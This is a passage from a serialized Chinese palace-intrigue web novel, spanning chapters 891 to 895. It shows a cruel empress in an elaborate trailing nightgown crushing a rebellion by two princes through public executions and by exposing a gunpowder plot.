慕容璋眼中闪过一丝阴毒:“那妖女最在意什么?便是她那身刺眼的睡裙?!最恨什么?便是有人质疑她的衣裳!若在朝堂之上,当众有人以死相谏,痛斥其奢靡亡国,再‘恰好’被殿前侍卫‘失手’格杀…你说,那些本就心惊胆战的官员,会如何想?是兔死狐悲,彻底倒向我们,还是继续效忠那个为了一件衣裳就能杀人的暴君?” 慕容弘眼中一亮:“妙计!如此一来,既可试探那妖女与林臻的反应,也可逼那些墙头草站队!此事交由我去安排!” 阴谋的毒牙,悄然对准了金殿之上那抹华贵的身影。 深宫之内,暖阁之中,慕容嫣身穿着那件舒适华贵至极的黑金棉质百鸟朝凤睡裙,正慵懒地倚在窗边的软榻上。窗外北风凛冽,室内却温暖如春,熏香袅袅。 ?墨金棉的底料柔软地贴合着她的身躯,天然的金色棉绒在透过琉璃窗的黯淡天光下,泛着柔和而神秘的光泽。? 睡裙之上,那只以极致工艺绣成的擎天巨凤盘踞其上,赤金、玫金、银白、紫金的羽翼仿佛在静谧中流动,凤眸上的黑欧泊与紫晶闪烁着洞察一切的冰冷光芒。 ?宽大柔软的喇叭袖垂落榻沿,袖口金线流苏纹丝不动。而那长达五丈、沉重无比的棉质拖尾,并未铺开,而是被她随意却精心地拢起,层叠堆放在榻旁铺着玄色天鹅绒的特制矮榻上,如同一只收敛了所有锋芒、正在假寐的墨金色凤凰,华美、舒适,却依旧散发着无形的、令人窒息的威压。 她手中并未拿着任何东西,只是用戴着丝绒指套的纤长手指,有一下没一下地轻抚着睡裙拖尾上新近镶嵌上去的、一颗鸽卵大小的深蓝色宝石,眼神放空,仿佛在聆听窗外呼啸的风声。 林臻坐在不远处的一张书案后,面前摊开的不是奏折,而是一张京畿布防图,他的眉头微锁,指尖在地图上的几处要害位置缓缓划过,面色沉静,眼神却锐利如鹰。 近来的暗流涌动,他安插的暗探已捕捉到更多蛛丝马迹,指向那两位本应死去的亲王。一张无形的网似乎在收紧,但他尚未抓住最关键的那根线。 他抬眸,看向榻上慵懒的人儿,眼中闪过一丝复杂的担忧,随即又被深深的纵容所取代。他绝不能让她受到丝毫惊扰。 突然,慕容嫣抚摸着宝石的手指微微一顿。她并没有抬头,依旧看着窗外,?喇叭袖下的手却无意识地收紧,将那柔软的棉质面料攥出了褶皱。 “风里…有老鼠的臭味…”她忽然轻声开口,声音软糯,却带着一丝冰冷的嫌恶,“比之前…更浓了。” 林臻心中猛地一凛!他并未听到或闻到任何异常,但他绝对相信她那异于常人的、近乎野兽般的直觉。他立刻起身,走到榻边,单膝跪地,握住她微凉的手,无声地传递着安抚与询问。 慕容嫣缓缓转过头,目光落在他的脸上,眼神清澈却深不见底,仿佛能洞穿一切虚妄:“它们是不是…觉得朕睡着了?所以…胆子变大了?敢靠得这么近了?嗯?” 她的声音很轻,却让林臻感到一股寒意从脊背升起。 她喇叭袖下的手轻轻抽回,指了指自己的耳朵:“它们磨牙的声音…吵到朕了。” 林臻紧紧握住拳,眼中杀机一闪而逝。他必须立刻加派人手,彻查所有可疑的角落! 慕容嫣却仿佛看穿了他的心思,忽然微微一笑,那笑容妖异而美丽,带着一种近乎孩童般的残忍兴致:“夫君…先别急着把它们吓跑嘛…” 她宽大喇叭袖下的手轻轻抬起,做了一个“嘘”的手势,眼神中闪烁着捕猎前的兴奋光芒:“让它们再近一点…再近一点点…让朕看清楚…是哪些老鼠…这么不怕死…” 她慵懒地调整了一下姿势,让那五丈棉质拖尾更舒适地堆叠,声音带着一丝玩味的残忍:“朕的衣裳…正好缺几种新颜色的…染料。” 林臻看着她眼中那毫不掩饰的、对于即将到来的血腥游戏的期待,心中巨震,却只能沉默地点头。他明白,她已察觉,并且…她想要亲自“玩”这场游戏。 次日,大朝会。 北风卷着细雪,敲打着金殿的窗棂。 殿内烛火通明,却依旧显得有些阴冷。百官肃立,气氛比往日更加凝滞,许多官员低垂着头,脸色苍白,眼神闪烁,不敢与龙椅之上的那位有任何视线接触。 慕容嫣依旧身着那件墨金棉质的睡裙,外罩一件同色系的貂绒滚边凤凰纹斗篷,出现在了金殿之上。?棉质的柔软与睡裙的华贵,在庄严肃穆的朝堂上,形成了一种极具冲击力的、令人不安的美丽与威仪。 ?五丈长的拖尾依旧毫无顾忌地拖曳在玉阶与金砖地面之上,其上新镶嵌的宝石在烛火下折射出更加璀璨、也更加冰冷的光芒。 她慵懒地靠在龙椅中,?宽大喇叭袖掩着唇,似有些畏寒,目光漫不经心地扫过丹陛之下噤若寒蝉的百官,眼神深处却藏着一丝猫科动物般戏谑而冰冷的锐光。 朝会按部就班地进行着,奏报的内容多是例行公事,但许多官员的声音都带着不易察觉的颤抖。 慕容嫣似乎听得有些不耐烦,?喇叭袖下的手指轻轻敲击着龙椅扶手。 就在这时,一名身着青色御史官服、品阶不高的年轻御史,忽然手持玉笏,猛地出列,跪倒在丹陛之下,声音因激动和恐惧而尖锐失真: “陛下!臣…臣御史台侍御史赵廉,冒死谏言!” 整个金殿瞬间死寂!所有人心头都是一跳!来了! 第892章 老鼠…不止一窝 林臻立于丹陛之下,眼神骤然冰冷如刀,袖中双拳紧握,目光死死锁定那名御史。 慕容嫣敲击扶手的手指停了下来。她缓缓抬起眼睫,目光落在那名御史身上,眼神平静无波,仿佛在看一只微不足道的虫子。 那赵廉似乎被这平静的目光看得更加恐惧,但箭在弦上,不得不发,他猛地抬起头,脸上带着一种悲壮的绝望,声音嘶哑地喊道: “陛下!如今北地初定,国库空虚,百姓困苦!陛下身为一国之君,当垂范天下,俭以养德!然陛下却…却终日身着如此奢靡无度之睡裙,朝堂之上,亦不避讳!此裙耗资之巨,足以赈济数万灾民!陛下如此行径,岂非寒天下百姓之心,损我大乾国祚!臣恳请陛下!即刻换下此睡裙,永不再穿!以示陛下悔过之心,安天下臣民之望!陛下若是不从…臣…臣今日便血溅金殿,以死明志!” 说完,他竟猛地起身,低头就要向一旁的蟠龙金柱撞去! “拦住他!”林臻厉声喝道! 殿前侍卫早有准备,立刻上前阻拦! 然而,就在这电光火石的一瞬间—— “呵。” 一声极轻、却冰冷刺骨的嗤笑,自龙椅之上传来。 所有人的动作,包括那欲撞柱的御史和上前阻拦的侍卫,都不由自主地顿了一下。 只见慕容嫣缓缓坐直了身子,?宽大喇叭袖轻轻一摆,示意侍卫退下。 侍卫一愣,迟疑地看向林臻。林臻面色铁青,却在对上慕容嫣那双平静到令人恐惧的凤眸时,咬牙微微颔首。 侍卫退开。 那赵廉愣在原地,不知所措,满脸冷汗。 慕容嫣并没有看他,而是微微俯身,伸出戴着丝绒指套的手,极其轻柔地拂过自己睡裙拖尾上那颗新镶嵌的深蓝宝石,仿佛在欣赏一件完美的艺术品。 整个金殿静得可怕,只剩下殿外北风的呜咽声。 “以死明志?”慕容嫣终于开口,声音轻柔得如同情人间的低语,却让殿内温度骤降,“就凭你…也配用血…来玷污朕的金殿?” 她缓缓抬起头,目光第一次真正落在赵廉身上,那眼神冰冷、空洞,却带着一种俯视蝼蚁般的漠然:“你的血…太脏了。” 赵廉浑身一颤,脸色瞬间惨白如纸。 慕容嫣喇叭袖下的手轻轻抬起,指向他,语气带着一丝好奇的残忍:“你想死,可以。” 她微微侧首,仿佛在思考一个有趣的问题?:“是觉得…撞柱子死得比较好看?还是觉得…这样能显得你很忠烈?能吓到朕?能让朕…把这身衣裳脱了?” 她忽然轻笑出声,笑声清脆却毫无温度:“真好笑。” 她的目光扫过全场那些面色惨白、瑟瑟发抖的官员,声音陡然变得尖锐而暴戾:“你们是不是也这么觉得?嗯?觉得找个废物出来撞死在这里,朕就会害怕?就会妥协?就会如你们所愿?!” “臣等不敢!”百官扑通跪倒一片,磕头如捣蒜! “不敢?”慕容嫣猛地站起身,?五丈长的棉质拖尾随之沉重地拖曳过玉阶,发出令人心悸的摩擦声!她一步步走下龙椅,走向那瘫软在地的赵廉,?华贵的拖尾在身后迤逦铺开,宝石刮擦着金砖地面! 所有大臣吓得魂飞魄散,连连后退! 林臻紧跟在她身后,目光警惕地扫视四周,防止任何意外。 慕容嫣走到赵廉面前,?睡裙的玄黑与巨凤的华彩将面如死灰的赵廉完全笼罩。她微微俯身,?宽大喇叭袖垂落,几乎触及地面,声音轻柔得如同地狱的召唤: “你既然这么想死…朕成全你。” 她直起身,目光冰冷地扫向殿前侍卫?:“把他拖下去。剐了。记住,三千六百刀,一刀不许少。剐下来的肉,喂狗。骨头…” 她嘴角勾起一抹残忍的弧度?:“磨成粉,和上金漆,给朕的衣裳…描边。” “遵旨!”侍卫毫不迟疑,上前架起瘫软如泥、已吓失禁的赵廉,拖死狗般向外拖去! “陛下饶命!陛下饶命啊!是靖北王!是安…”赵廉的惨嚎求饶声戛然而止,显然被堵住了嘴! “靖北王?安?”慕容嫣重复了一遍这两个字,声音不大,却如同惊雷炸响在每一个官员的耳边! 她缓缓转过身,?拖尾华丽地扫过一个圆弧,目光如同冰冷的探照灯,缓缓扫过跪满一地的百官,每一个被她目光扫到的人,都如同被剜心剔骨般颤抖起来。 “看来…”她轻声说道,声音里带着一种令人毛骨悚然的了然,“老鼠…不止一窝呢…” 她缓缓走回龙椅,拖尾迤逦于地,坐了回去,?慵懒地靠进椅背,仿佛刚才的冷酷杀戮只是随手拍死了一只苍蝇。 “还有谁…”她把玩着喇叭袖口的流苏,声音带着一丝慵懒的玩味,“想学他…用死来…劝朕换衣服的?现在…可以出来了。” 死寂。 无人敢应答。只有压抑到极致的恐惧啜泣声。 “看来是没了。”慕容嫣满意地点点头,语气轻松起来,“那就…退朝吧。” 百官如蒙大赦,连滚爬爬、失魂落魄地逃离了这如同修罗场般的金殿。 殿内,只剩慕容嫣与林臻。 慕容嫣脸上的冷酷与疯狂迅速褪去,染上一丝疲惫与厌倦,她看向林臻,伸出喇叭袖下的手:“夫君…朕累了…抱朕回去。” 林臻快步上前,小心翼翼地打横抱起她,仿佛抱着一件易碎的稀世珍宝。那五丈长的棉质拖尾垂落而下,拂过冰冷的地面。 “老鼠…自己跳出来了…”慕容嫣将脸埋进他肩窝,声音闷闷的,带着一丝嫌弃,“真臭…” 林臻紧紧抱着她,目光投向殿外阴沉天空,眼中寒光凛冽。 他知道,嫣儿以最残酷、最直接的方式,撕开了阴谋的一角。游戏,已经开始了。而他的嫣儿,这只身着棉质睡裙的暴君凤凰,正以她的方式,享受着这场血腥的狩猎。 ?棉凤慵嗅逆风腥,金殿笑谈血染襟。酷烈撕破阴谋网,静待鼠蚁自惊心。? 第893章 躲在那里…不冷吗 腊月将至,京城的天空总是灰蒙蒙的,铅灰色的云层低垂,压得人喘不过气。 凛冽的北风卷起枯叶与尘土,在宫墙之间呼啸穿梭,发出如同鬼魅呜咽般的声响。皇城之内,气氛比天气更加凝重肃杀。 金殿剐杀御史的血腥气似乎仍未散尽,一种山雨欲来风满楼的压抑感,沉甸甸地压在每个人的心头。 靖北王慕容弘与安平王慕容璋的叛乱网络已如暗夜中的蛛网,悄然蔓延至更深更广的角落。 边军旧部的调动、京畿防务的细微漏洞、宫中禁卫的悄然渗透、以及更多在恐惧与怨恨中摇摆不定的官员被拉拢……一切都在黑暗中紧锣密鼓地进行着。 他们如同潜伏在阴影中的毒蛇,吐着信子,等待着最佳时机,发出致命一击。 然而,深宫之中的慕容嫣,却似乎对外间这日益紧绷的局势毫不在意,或者说,她以一种近乎玩味的、狩猎般的姿态,冷眼旁观着。 这日午后,慕容嫣并未待在温暖的寝宫。她忽发奇想,欲去御花园的梅林赏看那几株提早绽放的绿萼梅。 她身穿着那件极致奢华、舒适温暖的黑金棉质百鸟朝凤睡裙,并未添加任何或外衫,便迤逦行出了寝宫。 ?墨金棉的底料在冬日黯淡的天光下,呈现出一种吸纳光线的沉静质感,天然交织的金色棉绒折射出幽暗的华彩,神秘而高贵。? 睡裙之上,那只以赤金、孔雀羽线、七彩丝线采用“盘金棉蹙绒”绣法绣成的擎天巨凤覆盖全身,凤羽层叠,华美逼人,赤金灼灼,玫金绚烂,银白清冷,紫金尊贵,凤眸以黑欧泊与深紫晶镶嵌,冰冷锐利,仿佛能洞察一切阴谋。 ?宽大柔软的喇叭袖在寒风中微微拂动,袖口以细密金线绣出云雷纹,边缘缀着细小的乌金珠串流苏,华丽非凡。 而那长达五丈、与睡裙连为一体、毫无接缝的巨型棉质拖尾,则毫无顾忌地、沉重地直接拖曳在她身后光洁如镜的宫道玉砖之上!?? 华贵无比的拖尾在冰冷的地面上缓缓滑行,其上密集镶嵌的宝石与金线刺绣摩擦着地面,发出极其细微却持续不断的窸窣声,在这寂静的宫道上,显得格外清晰,仿佛一条拥有生命的、流动的墨金色星河,正以其无与伦比的重量与华美,丈量并宣告着皇权的疆域。 四名宫女小心翼翼地跟在后方远处,低垂着头,不敢靠近那迤逦的拖尾,更不敢直视那抹华贵得令人窒息的身影。 林臻因处理紧急军务并未随行,只加派了精锐的凤翎卫远远跟随护卫。 慕容嫣步履从容,?睡裙虽沉重无比,她却丝毫不显吃力,身姿依旧挺拔优雅,仿佛那五丈拖尾的重量于她而言轻若无物。 她宽大喇叭袖下的手微微交叠置于身前,指尖纤细,戴着与睡裙同色的墨丝绒指套。她目光平静地扫过宫道两旁肃立垂首的侍卫与宫人,眼神慵懒,却带着一种无形的、令人不敢直视的威压。 寒风卷起宫道上的些许浮尘,吹拂着她宽大的喇叭袖与沉重的拖尾,衣袂微微飘动,更衬得她身姿飘逸,却又稳如泰山。 行至一处通往御花园的拐角长廊,廊檐下悬挂的风铃在风中叮咚作响。慕容嫣忽然停下了脚步。 她并未回头,只是微微侧首,仿佛在聆听风铃的声音,又仿佛在感知着别的什么。?喇叭袖下的手无意识地轻轻捻动着。 跟隨的宫女与凤翎卫也立刻停下,屏息凝神。 空气中,除了风声、铃声,似乎还有一种极其细微的、被刻意压低的呼吸声与衣袂摩擦声,来自长廊另一侧的假山之后。 慕容嫣静立了片刻,绝美的面容上没有任何表情,眼神依旧平静无波。 忽然,她毫无征兆地,猛地一个回身! 动作流畅而迅疾,带着一种不容置疑的威仪! 随着她这一迅猛的回身动作,那沉重无比的五丈棉质拖尾因惯性被猛地带起,如同一条墨金色的巨蟒,在空中划出一道华丽而凌厉的弧线,?重重地扫过冰冷的玉砖地面!?? 同时,?睡裙宽大的下摆因这急速回转的动作而骤然飘荡起来,如同盛放的墨色牡丹! 就在这裙摆飘起的瞬间——露出了里面以最顶级的玄色云锦为底、用亮金线满绣着繁复凤凰衔珠缠枝莲纹路的华丽内衬!?? 那内衬上的金凤图案在冬日黯淡的光线下骤然闪现,金光灿灿,华美夺目,与睡裙外袍的墨金底色形成了惊心动魄的对比,仿佛在沉静的黑夜中骤然亮起的璀璨骄阳,尊贵、神秘,且带着极强的视觉冲击力! 这惊鸿一瞥的华丽内衬,与她回身时那双骤然变得冰冷锐利、如同利剑出鞘般的凤眸,以及那在空中猎猎舞动的沉重拖尾,共同构成了一幅极具威慑力的画面! 假山之后,那细微的声响瞬间消失了,仿佛被无形的手扼住了喉咙,只剩下死一般的寂静! 慕容嫣的目光,如同实质的冰锥,精准地刺向假山的方向。 她飘起的裙摆缓缓落下,重新遮住了那华丽的内衬,但那瞬间展露的锋芒已足以让人胆寒。 她并没有立刻发作,只是静静地站在那里,?五丈拖尾在她身后迤逦铺地,华光流转。 寒风拂过,吹动她宽大的喇叭袖,发出细微的猎猎声响。 过了许久,她才缓缓开口,声音清冷如玉磬,在这寂静的长廊中异常清晰,带着一丝玩味的冰冷: “躲在那里…不冷吗?” 假山之后,毫无回应,只有风声。 慕容嫣嘴角勾起一抹极淡的、残忍的弧度:“还是说…在等着看朕…什么时候被这风吹病了?好让你们…有机可乘?” 她的声音不高,却字字如刀,仿佛能穿透假山,直刺背后躲藏之人的心脏! 依旧没有回应。 慕容嫣似乎并不期待回答,她喇叭袖下的手轻轻抬起,抚了抚自己被风吹乱的鬓发,语气慵懒下来:“滚出来。或者…让朕请你们出来?” 短暂的死寂后,假山后传来窸窣的声响,两名身着低等太监服饰、却面色惊慌、眼神闪烁的男子,连滚带爬地挪了出来,扑通一声跪倒在冰冷的地上,浑身抖如筛糠,头深深磕下,不敢抬起。 “陛…陛下饶命!奴…奴才只是路过…绝无他意!”其中一人声音颤抖得几乎不成调。 慕容嫣目光冰冷地扫过他们,并未在他们身上停留,而是再次投向假山深处,声音更冷:“还有呢?就你们两个…废物?” 假山深处,似乎连呼吸都停止了。 慕容嫣忽然轻笑一声,那笑声清脆,却带着令人毛骨悚然的寒意:“看来…是非要朕…亲自‘请’了。” 她喇叭袖下的手微微一动。 远处的凤翎卫首领见状,立刻手势一挥! 数名如鬼魅般的凤翎卫瞬间扑向假山! 只听几声短促的闷响与惊呼,又有三人被从假山后拖了出来,按倒在地! 这三人衣着明显不同,虽也是仆役打扮,但神色间却多了几分凶悍与惊惧,显然并非普通宫人! 慕容嫣的目光在这五人身上缓缓扫过,眼神平静无波,仿佛在看几只微不足道的虫子。 “谁派你们来的?”她轻声问,语气甚至带着一丝好奇,“是朕那两位…阴魂不散的皇叔?还是朝中哪些…活腻了的‘忠臣’?” 五人伏地颤抖,无人敢答。 “不说?”慕容嫣微微歪头,?宽大喇叭袖拂过身旁廊柱上雕刻的凤凰图案,“也罢。朕…也没多大兴趣知道。” 她缓缓踱步,五丈拖尾在身后沉重地拖曳,发出令人心悸的摩擦声。她走到其中一名最先跪倒的太监面前,停下脚步。 “你刚才说…只是路过?”她声音轻柔。 “是…是!陛下明鉴!奴才万万不敢…”那太监涕泪横流。 慕容嫣喇叭袖下的手轻轻抬起,用戴着丝绒指套的指尖,极轻地指了指他靴边沾染的一小块不起眼的、尚未完全干涸的泥点: “宫道每日清扫三遍,纤尘不染。你这泥…是从哪带来的?御花园的梅林土…可不是这个颜色。” 那太监猛地一颤,脸色瞬间惨白如纸! 慕容嫣不再看他,目光转向另外那三个被凤翎卫制住的、神色凶悍之人:“至于你们身上这股子军营里带来的汗臭和铁锈味,隔着老远就熏到朕了。” 三人眼中闪过绝望的厉色,却咬紧牙关,一言不发。 慕容嫣回身,走回原地,五丈拖尾再次划过一个华丽的圆弧。她慵懒地倚靠在冰冷的廊柱上,?喇叭袖掩唇,似有些畏寒,声音却清晰无比地传入每个人耳中: “看来老鼠的爪子已经伸到朕的宫里来了。” 她目光再次投向虚空,仿佛在对着那看不见的敌人说话:“就这么急着想看看朕脱下这身衣裳的样子?还是想看看朕血溅宫闱的样子?” 她忽然笑了起来,笑容妖异而美丽,却冰冷刺骨:“可惜啊,朕这衣裳,穿得正舒服。朕的心情也还不错。” 她喇叭袖下的手轻轻一挥,语气轻描淡写,却带着不容置疑的残酷:“拖下去。剐了。尸体挂在宫门外,让他们背后的人好好看看,惦记朕的衣裳是什么下场。” “是!”凤翎卫领命,毫不拖泥带水地将绝望哭嚎的五人拖走,声音迅速消失在长廊尽头。 寒风依旧,长廊恢复了寂静,仿佛什么都没发生过。 慕容嫣静静站立了片刻,抬手轻轻抚平了睡裙上因方才动作而产生的些许褶皱,尤其是那露出了华丽内衬的裙摆处,动作仔细而珍重。 然后,她仿佛无事发生般,继续迈开脚步,向着御花园梅林的方向迤逦行去。那五丈长的棉质拖尾再次沉重而平稳地拖曳于玉砖之上,华光璀璨,仿佛刚才那血腥的插曲,不过是拂去了一粒微尘。 身后的宫女与凤翎卫,脸色苍白,冷汗涔涔,却不敢有丝毫怠慢,立刻小心翼翼地跟上。 走到梅林入口,望着那几株在寒风中傲然绽放、清冷孤高的绿萼梅,慕容嫣停下了脚步。 她宽大喇叭袖下的手轻轻抬起,接住一片被风吹落的梅花花瓣,眼神依旧平静,却多了一丝难以言喻的深邃与冰冷。 “花开得不错…”她轻声自语,指尖微微用力,将那花瓣碾碎,任由冰冷的碎屑从指缝间飘落。 “正好,用血来浇,想必会更艳吧…” 她嘴角勾起一抹极致妖异、极致暴虐的弧度,转身,?五丈拖尾在雪地上划出深深的痕迹,向着来路返回。 赏梅的兴致,已然尽了。 第894章 即刻锁拿,夷其三族 年关将近,京城的空气却并未因节日的临近而有丝毫暖意,反而愈发凝滞冰冷。 北风卷着细雪,日夜不停地呼啸,仿佛在预示着某种不祥。皇城之内,暗流已不再是暗流,而是逐渐汇聚成一股汹涌的、几乎难以压抑的潜潮。 靖北王慕容弘与安平王慕容璋,羽翼已丰。 通过威逼利诱、许以重诺,他们不仅串联了大量对慕容嫣统治不满的朝臣,更将触角伸向了京畿防务的核心——九门提督麾下的巡防营,以及负责皇城外围警戒的羽林卫右军! 数名关键将领已被拉拢或控制,只待一个信号,便可打开城门,引叛军长驱直入! 与此同时,他们策划在年关大典之上,趁百官朝贺、鱼龙混杂之际,发动雷霆一击,控制金殿,擒杀“暴君妖后”! 阴谋的毒牙,已然淬毒,对准了皇宫的心脏。 这一日,雪后初霁,阳光惨白地照在琉璃瓦的积雪上,反射出刺目的冷光。慕容嫣却并未待在温暖的寝宫,而是出现在了宫中一处偏僻阴冷的殿宇——内廷慎刑司。 她并非无故来此。 ?她依旧身着那身华丽厚重、温暖舒适的黑金棉质百鸟朝凤睡裙,仿佛这身衣裳是她永不卸下的战甲与华冕。 ?墨金棉的底料在阴冷殿宇的昏暗光线下,呈现出一种吞噬光线的沉静质感,天然的金色棉绒幽幽闪烁,神秘而高贵。 ?睡裙之上,那只铺天盖地的擎天巨凤金绣,在阴影中更显狰狞华美,赤金如凝血,玫金如残阳,银白如寒刃,紫金如暗夜,凤眸宝石闪烁着洞悉一切阴谋的冰冷光芒。? 宽大柔软的喇叭袖垂落,袖口金线流苏纹丝不动。而那长达五丈、沉重无比的棉质拖尾,则毫无顾忌地直接拖曳在慎刑司冰冷、粗糙、甚至沾染着暗沉污渍的青石板地面上!?? 华贵到极致的拖尾与阴森肮脏的环境形成了剧烈到令人窒息的对比! 其上镶嵌的宝石与金线刺绣在昏暗中固执地折射着微弱却刺目的光芒,仿佛一条来自九天的、审判罪恶的墨金色河流,无情地漫过这污秽之地! 林臻并未随行,据报是在前朝处理紧急军务。 慕容嫣身侧,只有一队面无表情、煞气逼人的凤翎卫贴身护卫。 慎刑司掌刑太监与一众番役跪伏在地,浑身颤抖,冷汗浸透了衣背。 慕容嫣慵懒地坐在一张铺着白虎皮的交椅上,交椅是临时搬来的,与这阴冷之地格格不入。 她宽大喇叭袖下的手轻轻支着下颌,目光平静地扫过面前跪着的三个人。 这三人衣衫褴褛,遍体鳞伤,显然已受过刑讯,但眼神却依旧带着一丝顽固与惊恐。他们是昨夜试图从西华门偷运一批“药材”入宫时,被值守的凤翎卫擒获的。 而西华门的守将,正是已被两位亲王暗中掌控的羽林卫右军副统领的心腹! “说吧。”慕容嫣开口,声音清冷,在这阴冷的殿宇中回荡,不带一丝情绪,“那车‘药材’底下藏的是什么?军械?弩箭?还是火油?” 三人咬紧牙关,低头不语。 慎刑司掌刑太监吓得魂飞魄散,磕头如捣蒜:“陛下息怒!奴才…奴才这就加重刑!定叫他们开口!” 慕容嫣却微微摆了摆喇叭袖,示意他闭嘴。 她缓缓站起身,?五丈长的棉质拖尾在粗糙的地面上发出沉重的摩擦声。 她一步步走向那三人,?华贵的睡裙在阴暗的背景下,如同降临地狱的神祇,威压骇人。 她在其中一人面前停下,微微俯身,?喇叭袖的边缘几乎触及地面。 “你的右手虎口,”她声音轻柔,如同毒蛇吐信,“有很厚的老茧。是常年握刀还是拉弓弦磨出来的?” 那人身体猛地一颤! 慕容嫣直起身,目光转向另一人:“你的靴子虽然旧,却是边军今年刚换装的制式皮靴。鞋底的纹路还没磨平呢。” 第二人脸色瞬间惨白! 最后,她的目光落在第三人身上:“你身上有股味道。” 她轻轻嗅了嗅空气,眼神中露出一丝嫌恶,“火硝和硫磺的味道,虽然很淡。你们运的不是火油是火药?” 第三人彻底瘫软下去! 整个慎刑司死寂一片!所有人心头巨震! 陛下她…她竟能注意到如此细微之处?! 慕容嫣缓缓回身,走向自己的座位。 就在她回身的瞬间!动作略显急促,带着一丝不耐! 那沉重无比的五丈棉质拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同怒浪般翻滚而起,?哗啦一声扫过冰冷粗糙的地面!?? 随着裙摆的骤然飘起——赫然露出了里面以玄色云锦为底、用亮金线极致繁复地满绣着百凤朝阳与缠枝莲纹路的华丽内衬!?? 那内衬上的金凤图案在昏暗的光线下骤然闪现,金光夺目,华美辉煌,与睡裙外袍的墨金底色及这阴森环境形成了天壤之别的对比,仿佛在无尽黑暗中骤然劈开的雷霆之光,尊贵、耀眼,且带着无情的审判意味! 这惊心动魄的华丽一闪而逝,?裙摆随即落下,但那一瞬间的威仪与洞察,已彻底击垮了地上三人的心理防线! “是…是火药…”其中一人崩溃哭喊,“是王爷,是靖北王命我等运入宫中,埋于…埋于千秋亭下,以待…” “以待年关大典,朕与百官登临之时,引爆,是吗?”慕容嫣接过了他的话,声音平静无波,仿佛在说一件与己无关的小事。她已然坐回交椅,?喇叭袖下的手轻轻拂过袍袖上巨凤的羽翼。 三人面如死灰,彻底瘫倒。 慕容嫣慵懒地靠向椅背,目光却冰冷地扫向那名跪地发抖的慎刑司掌刑太监:“西华门值守的羽林卫右军是谁的部下?为何能放这等东西入宫?你慎刑司事先竟无丝毫察觉?” 掌刑太监吓得几乎晕厥:“奴才该死!奴才该死!右军副统领张焕,他…他近日调整了宫防轮值…奴才…奴才…” “张焕…”慕容嫣轻轻重复了一遍这个名字,?嘴角勾起一抹残忍的弧度,“很好。” 她缓缓站起身,?五丈拖尾再次沉重地拖曳于地。 “传朕旨意。”她的声音不大,却如同冰锥,刺入每个人的心脏,“羽林卫右军副统领张焕,玩忽职守,勾结外敌,意图谋逆,罪不容诛。即刻锁拿,夷其三族。右军所有参将以上将领,一律停职,交由凤翎卫彻查。” “慎刑司掌刑太监,耳目闭塞,办事不力,拖下去,杖毙。” “至于这三个…”她目光扫过地上瘫软的三人,?喇叭袖轻轻一摆,“既然喜欢火药,那就把他们绑在千秋亭下,让他们亲自尝尝被炸上天的滋味。” 命令下达,冷酷无比,没有丝毫转圜余地! “陛下饶命!陛下饶命啊!”哭嚎声、求饶声瞬间充斥整个慎刑司! 凤翎卫却毫无迟疑,立刻上前执行! 慕容嫣仿佛没有听到这些声音,她微微蹙眉,低头看了看自己拖尾最边缘沾染上的一点污渍(方才扫过地面所致),眼中闪过一丝不悦与心疼。 “脏了…”她轻声嘟囔,语气里带着一丝真实的懊恼,仿佛这比刚才揭发的惊天阴谋和下达的屠杀命令更重要。 她不再理会身后的血腥与哭嚎,?迤逦着那五丈长的华丽拖尾,一步步向慎刑司外走去。凤翎卫立刻上前护卫。 走到殿门口,惨白的阳光照射进来,落在她墨金色的睡裙上,泛起一层冷冽的光晕。 她忽然停下脚步,并未回头,声音清冷地传遍殿内: “告诉你们背后的人…” 她的声音顿了顿,仿佛带着一丝玩味的笑意,却冰冷刺骨: “想玩火,朕奉陪。” “只是小心别烧着了自己。” 说完,她迈步走入阳光之下,?沉重的拖尾在门槛上拖曳而过,留下一道华贵而冷酷的痕迹。 殿内,只剩下行刑的闷响与绝望的哀嚎。 慕容嫣回到寝宫,立刻命人准备香汤沐浴,尤其嘱咐要用特制的香露,仔细清洗睡裙拖尾上沾染的污渍。 她褪下睡裙,将其浸入漂浮着花瓣与香料的温水中,亲自坐在池边,?用戴着丝绒指套的手,极其小心地、一点点地搓洗着那拖尾的边缘,神情专注得仿佛在对待一件易碎的绝世珍宝。 林臻匆匆赶来,脸色凝重,显然已得知慎刑司发生的一切。他看到慕容嫣正在亲手清洗睡裙,眼中闪过一丝复杂,快步上前。 慕容嫣抬起头,看到他,脸上露出一丝委屈与依赖,?伸出湿漉漉的手指向那处污渍?:“夫君…你看…脏了…” 林臻心中一痛,蹲下身,握住她的手:“无妨,定能洗净。嫣儿受委屈了。” “他们弄脏我的衣服…”慕容嫣小声抱怨,眼神却冰冷,“还想用火药炸我…” 林臻眼中杀机爆闪:“嫣儿放心,我已加派人手,定将逆党一网打尽!” 慕容嫣却摇了摇头,?重新将注意力放回清洗拖尾上,声音变得慵懒而残忍:“不急…让他们再聚多一点…才好…” 她轻轻揉搓着锦缎上的金线凤凰图案,嘴角勾起那抹熟悉的、妖异而暴虐的弧度: “年关大典不是快要到了吗?” “朕正好缺几件新鲜的点缀。” 她抬起头,看向林臻,眼神清澈却骇人: “用他们的骨头和血,来装饰朕的衣裳,夫君觉得好看吗?” 林臻看着她眼中那毫不掩饰的、对于血腥盛宴的期待,心中巨震,却只能更紧地握住她微凉的手,沉声道:“…嫣儿喜欢,便好。” 慕容嫣满意地笑了,低下头,继续专注地清洗着她的华服,仿佛那才是天下最重要的事情。 窗外,北风呜咽,雪又开始下了起来。 第895章 血光迸现 年关的气息日益临近,京城却笼罩在一片异样的沉寂之中。 市井坊间,流言蜚语如同冬日里的冻雨,悄无声息地渗透,言语间充斥着对女帝暴政的恐惧、对摄政王专权的不满,以及对两位“含冤而逝”亲王的隐约同情与期待。 皇城之外,暗潮已化为涌动的潜流,随时可能破冰而出。 靖北王慕容弘与安平王慕容璋的反叛网络,已然编织成型。 通过威逼、利诱、许以从龙之功,他们不仅掌控了相当一部分朝臣,更成功策反了京畿防务的几处关键节点! 西华门副将、东直门守备、甚至皇城外围羽林卫右军的部分中高层将领,皆已暗中效忠! 一批批伪装成粮草、建材的军械铠甲,被秘密运入京城,藏匿于多处据点。 只待年关大典,便可里应外合,控制城门,直扑皇城! 阴谋的齿轮,已严密咬合,开始缓缓转动。 这一日,午后,天色阴沉,铅灰色的云层低垂,仿佛酝酿着一场更大的风雪。慕容嫣却并未安坐宫中,她忽称心血来潮,欲去西苑冰湖观看内监们破冰取鱼。 她身穿着那身华贵厚重、温暖舒适的黑金棉质百鸟朝凤睡裙,外罩一件同色系的白狐裘滚边,便迤逦行出了寝宫。 